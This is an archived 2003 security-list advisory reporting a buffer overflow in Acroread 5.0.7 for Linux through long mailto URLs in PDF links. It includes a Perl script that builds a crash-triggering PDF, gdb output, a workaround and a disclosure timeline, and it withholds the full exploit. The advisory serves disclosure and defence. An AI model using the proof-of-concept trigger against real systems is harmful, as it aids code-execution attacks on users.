lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <200307092234.h69MYHM43920@milan.maths.usyd.edu.au>
Date: Thu, 10 Jul 2003 08:34:17 +1000 (EST)
From: psz@...hs.usyd.edu.au (Paul Szabo)
To: bugtraq@...urityfocus.com, full-disclosure@...ts.netsys.com
Subject: Acroread 5.0.7 buffer overflow


I. BACKGROUND

Acroread from http://www.adobe.com is the pre-eminent PDF file viewer. The
latest version Acroread 5.0.7 for Linux was released on 17 June 2003.

II. DESCRIPTION

Despite recent security fixes, an exploitable buffer overflow with long URL
strings remains. The overflow occurs when you click on the link, and allows
execution of arbitrary code. Acroread versions 5.0.7 and 5.0.5 were tested
on Debian (woody) Linux; other acroread 5.* versions on other UNIX
platforms are expected also to be vulnerable. (Configure Netscape as your
browser, and do not have Netscape running at the time you click.)

III. ANALYSIS

Produce a suitable test file using pdflatex e.g. with:

#!/usr/bin/perl --
#
# Demo for acroread 5.0.7 on Debian Linux
#
print '
Writing TeX file ...
';
# For acroread 5.0.5 use 248 Bs instead of 504
open P, '>attack.tex';
print P '
\documentclass[11pt]{letter}
\usepackage{times}
\usepackage[pdfpagemode=none,pdfstartview=FitH]{hyperref}
\begin{document}
   \href{mailto:X',("B"x504).("A"x4),'}
   {\texttt{mailto:X("B"x504).("A"x4)}}
\end{document}
';
close P;
#
print '
Running pdflatex ...
';
system 'pdflatex attack';
#
#!#

Acroread has a signal handler and may not crash when the link is clicked,
but gdb shows:

(gdb) run attack.pdf
Starting program: /Acroread507/Reader/intellinux/bin/acroread attack.pdf
Program received signal SIGSEGV, Segmentation fault.
(gdb) where
#0  0x40f50513 in mdNetscapeFront ()
   from /Acroread507/Reader/intellinux/plug_ins/wwwlink.api
Cannot access memory at address 0x41414141

IV. WORKAROUND

Remove the file .../Reader/*/plug_ins/wwwlink.api .

V. EXPLOIT

Censored. Fully working exploit sent to CERT.

VI. COMMENTS

Acroread 5.0.7 for Linux was released on 17 June 2003, and the README file
contains:
   New for Acrobat Reader 5.0.7
   A security patch was applied that solves the problem reported in
   CERT vulnerability 200132 whereby a weblink could execute shell 
   commands.
Acroread still uses 'sh -c' via system(3) but disallows embedded single
quotes and replaces dollar($) and backquote(`) by %24 and %60 in the URL,
then quotes the URL with single quotes like
  sh -c DISPLAY=DISPL BROWSER 'URL'
Seems that when given the example exploit, in a knee-jerk reaction Adobe
encoded the "special" characters used. When told that the "shell
meta-character soup" was larger, they quoted the URL and, seeing how
encoding did not work, courageously banned embedded quotes; were too lazy
to remove the encoding. Should have replaced system(3) with
fork/setenv/execv instead.
The lengthening of the URL string prompted me to check how acroread handles
long replacements; but even "plain" long strings cause it to fail.

The 5.0.7 README file also contains:
   New for Acrobat Reader 5.0.6
   A security patch was applied that solves the problem reported in
   http://online.securityfocus.com/archive/1/278984 where opening
   the font cache when the application starts up can unintentionally 
   cause the permissions of other files to change.
and confirm that this is solved in 5.0.7.

The changes from 5.0.5 to 5.0.7 are in libCoolType.so, EScript.api and
wwwlink.api only, so acroread 5.0.7 still announces itself, on the splash
screen and in Help AboutAcrobatReader, as 5.0.5. CoolType was for 5.0.6,
wwwlink for 5.0.7; is EScript for http://www.kb.cert.org/vuls/id/184820
though that was meant to affect "full" acrobat only?

Acroread versions 4.* do not seem vulnerable to the buffer overflow, they
chop the URL string after 1025 (!!??) bytes; but are vulnerable to the
"shell meta-character soup" (could be protected with the workaround below).

VII. TIMELINE

13 Jun 2003  -10day advisory released
17 Jun 2003  Acroread 5.0.7 for Linux released
23 Jun 2003  iDefense and CERT alerted to buffer overflow
26 Jun 2003  Fully working exploit sent to iDefense
 1 Jul 2003  team@...-labs.hack.pl finds same vulnerability
 9 Jul 2003  iDefense does not offer payment

VIII. REFERENCES

CERT vulnerability note
  http://www.kb.cert.org/vuls/id/200132

-10Day CERT Advisory on PDF Files (note that the workaround in the latter
message does not protect against the buffer overflow)
  http://lists.netsys.com/pipermail/full-disclosure/2003-June/010397.html
  http://lists.netsys.com/pipermail/full-disclosure/2003-June/010417.html

Adobe Acrobat Reader <=5.0.7 Buffer Overflow Vulnerability + PoC code
(public report of the same vulnerability)
  http://www.securityfocus.com/archive/1/327335
  http://www.securityfocus.com/archive/1/328472

IX. AUTHOR

Paul Szabo - psz@...hs.usyd.edu.au  http://www.maths.usyd.edu.au:8000/u/psz/
School of Mathematics and Statistics  University of Sydney   2006  Australia
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ